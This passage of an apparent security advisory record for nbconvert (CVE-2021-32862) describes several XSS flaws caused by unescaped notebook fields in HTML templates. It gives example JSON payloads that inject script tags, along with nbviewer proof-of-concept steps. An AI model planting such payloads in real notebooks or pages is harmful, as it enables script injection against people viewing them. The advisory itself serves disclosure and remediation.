\"data\": {\n      \"application/javascript\": [\"console.log(\\\"application/javascript output\\\")\"]\n     },\n     \"execution_count\": null,\n     \"metadata\": {}\n    }\n```\n\n### Issue 10: XSS is output.metadata.filenames image/png and image/jpeg(`GHSL-2021-1022`)\n\nThe `cell.output.metadata.filenames[\"images/png\"]` and `cell.metadata.filenames[\"images/jpeg\"]` nodes are rendered directly to the [`base.html.j2`](https://github.com/jupyter/nbconvert/blob/main/share/jupyter/nbconvert/templates/classic/base.html.j2) HTML template with no escaping:\n\n```\n{%- if 'image/png' in output.metadata.get('filenames', {}) %}\n<img src=\"{{ output.metadata.filenames['image/png'] | posix_path }}\"\n```\n\nThe following `filenames` node will execute arbitrary javascript:\n\n```json\n    {\n     \"output_type\": \"execute_result\",\n     \"data\": {\n      \"image/png\": [\"\"]\n     },\n     \"execution_count\": null,\n     \"metadata\": {\n       \"filenames\": {\n          \"image/png\": \"\\\"><script>console.log(\\\"output.metadata.filenames.image/png injection\\\")</script>\" \n       }\n     }\n    }\n```\n\n### Issue 11: XSS in output data image/png and image/jpeg cells(`GHSL-2021-1023`)\n\nUsing the `image/png` or `image/jpeg` output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook. \n\nThe `cell.output.data[\"images/png\"]` and `cell.output.data[\"images/jpeg\"]` nodes are rendered directly to the [`base.html.j2`](https://github.com/jupyter/nbconvert/blob/main/share/jupyter/nbconvert/templates/classic/base.html.j2) HTML template with no escaping:\n\n```\n{%- else %}\n<img src=\"data:image/png;base64,{{ output.data['image/png'] }}\"\n{%- endif %}\n```\n\nThe following `cell.output.data[\"image/png\"]` node will execute arbitrary javascript:\n\n```json\n    {\n     \"output_type\": \"execute_result\",\n     \"data\": {\n      \"image/png\": [\"\\\"><script>console.log(\\\"image/png output\\\")</script>\"]\n     },\n     \"execution_count\": null,\n     \"metadata\": {}\n    }\n```\n\n### Issue 12: XSS is output.metadata.width/height image/png and image/jpeg(`GHSL-2021-1024`)\n\nThe `cell.output.metadata.width` and `cell.output.metadata.height` nodes of both `image/png` and `image/jpeg` cells are rendered directly to the [`base.html.j2`](https://github.com/jupyter/nbconvert/blob/main/share/jupyter/nbconvert/templates/classic/base.html.j2) HTML template with no escaping:\n\n```\n{%- set width=output | get_metadata('width', 'image/png') -%}\nwidth={{ width }}\n{%- set height=output | get_metadata('height', 'image/png') -%}\nheight={{ height }}\n```\n\nThe following `output.metadata.width` node will execute arbitrary javascript:\n\n```json\n    {\n     \"output_type\": \"execute_result\",\n     \"data\": {\n      \"image/png\": [\"abcd\"]\n     },\n     \"execution_count\": null,\n     \"metadata\": {\n        \"width\": \"><script>console.log(\\\"output.metadata.width png injection\\\")</script>\"\n     }\n    }\n```\n\n### Issue 13: XSS in output data application/vnd.jupyter.widget-state+json cells(`GHSL-2021-1025`)\n\nThe `cell.output.data[\"application/vnd.jupyter.widget-state+json\"]` nodes are rendered directly to the [`base.html.j2`](https://github.com/jupyter/nbconvert/blob/main/share/jupyter/nbconvert/templates/classic/base.html.j2) HTML template with no escaping:\n\n```\n{% set datatype_list = output.data | filter_data_type %}\n{% set datatype = datatype_list[0]%}\n<script type=\"{{ datatype }}\">\n{{ output.data[datatype] | json_dumps }}\n</script>\n```\n\nThe following `cell.output.data[\"application/vnd.jupyter.widget-state+json\"]` node will execute arbitrary javascript:\n\n```json\n    {\n     \"output_type\": \"execute_result\",\n     \"data\": {\n      \"application/vnd.jupyter.widget-state+json\": \"\\\"</script><script>console.log('output.data.application/vnd.jupyter.widget-state+json injection')//\"\n     },\n     \"execution_count\": null,\n     \"metadata\": {}\n    }\n```\n\n### Issue 14: XSS in output data application/vnd.jupyter.widget-view+json cells(`GHSL-2021-1026`)\n\nThe `cell.output.data[\"application/vnd.jupyter.widget-view+json\"]` nodes are rendered directly to the [`base.html.j2`](https://github.com/jupyter/nbconvert/blob/main/share/jupyter/nbconvert/templates/classic/base.html.j2) HTML template with no escaping:\n\n```\n{% set datatype_list = output.data | filter_data_type %}\n{% set datatype = datatype_list[0]%}\n<script type=\"{{ datatype }}\">\n{{ output.data[datatype] | json_dumps }}\n</script>\n```\n\nThe following `cell.output.data[\"application/vnd.jupyter.widget-view+json\"]` node will execute arbitrary javascript:\n\n```json\n    {\n     \"output_type\": \"execute_result\",\n     \"data\": {\n      \"application/vnd.jupyter.widget-view+json\": \"\\\"</script><script>console.log('output.data.application/vnd.jupyter.widget-view+json injection')//\"\n     },\n     \"execution_count\": null,\n     \"metadata\": {}\n    }\n```\n\n\n### Issue 15: XSS in raw cells(`GHSL-2021-1027`)\n\nUsing a `raw` cell type allows arbitrary javascript to be executed when rendering an HTML notebook. This is probably by design, however, it would be nice to enable an option which uses an HTML sanitizer preprocessor to strip down all javascript elements:\n\nThe following is an example of a `raw` cell executing arbitrary javascript code:\n\n```json\n  {\n   \"cell_type\": \"raw\",\n   \"id\": \"372c2bf1\",\n   \"metadata\": {},\n   \"source\": [\n    \"Payload in raw cell <script>alert(1)</script>\"\n   ]\n  }\n```\n\n### Issue 16: XSS in markdown cells(`GHSL-2021-1028`)\n\nUsing a `markdown` cell type allows arbitrary javascript to be executed when rendering an HTML notebook. This is probably by design, however, it would be nice to enable an option which uses an HTML sanitizer preprocessor to strip down all javascript elements:\n\nThe following is an example of a `markdown` cell executing arbitrary javascript code:\n\n```json\n  {\n   \"cell_type\": \"markdown\",\n   \"id\": \"2d42de4a\",\n   \"metadata\": {},\n   \"source\": [\n     \"<script>alert(1)</script>\"\n   ]\n  },\n```\n\n### Proof of Concept\n\nThese vulnerabilities may affect any server using nbconvert to generate HTML and not using a secure content-security-policy (CSP) policy. For example [nbviewer](https://nbviewer.jupyter.org) is vulnerable to the above mentioned XSS issues:\n\n1. Create Gist with payload. eg:\n- `https://gist.github.com/pwntester/ff027d91955369b85f99bb1768b7f02c`\n\n2. Then load gist on nbviewer. eg:\n- `https://nbviewer.jupyter.org/gist/pwntester/ff027d91955369b85f99bb1768b7f02c`\n\nNote: response is served with `content-security-policy: connect-src 'none';`\n\n## GitHub Security Advisories\n\nWe recommend you create a private [GitHub Security Advisory](https://help.github.com/en/github/managing-security-vulnerabilities/creating-a-security-advisory) for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are [published](https://help.github.com/en/github/managing-security-vulnerabilities/publishing-a-security-advisory).\n\n## Credit\n\nThese issues were discovered and reported by GHSL team member [@pwntester (Alvaro Muñoz)](https://github.com/pwntester).\n\n## Contact\n\nYou can contact the GHSL team at `securitylab@github.com`, please include a reference to `GHSL-2021-1013`, `GHSL-2021-1014`, `GHSL-2021-1015`, `GHSL-2021-1016`, `GHSL-2021-1017`, `GHSL-2021-1018`, `GHSL-2021-1019`, `GHSL-2021-1020`, `GHSL-2021-1021`, `GHSL-2021-1022`, `GHSL-2021-1023`, `GHSL-2021-1024`, `GHSL-2021-1025`, `GHSL-2021-1026`, `GHSL-2021-1027` or `GHSL-2021-1028` in any communication regarding these issues.\n\n\n## Disclosure Policy\n\nThis report is subject to our [coordinated disclosure policy](https://securitylab.github.com/advisories#policy).\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "nbconvert"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "6.5.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/jupyter/nbconvert/security/advisories/GHSA-9jmq-rx5f-8jwq"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jupyter/nbviewer/security/advisories/GHSA-h274-fcvj-h2wm"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2021-32862"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/jupyter/nbconvert"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/nbconvert/PYSEC-2022-249.yaml"
  }, {
    "type" : "WEB",
    "url" : "https://lists.debian.org/debian-lts-announce/2023/06/msg00003.html"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2022-08-10T17:51:53Z",
    "nvd_published_at" : "2022-08-18T19:15:00Z"
  }
}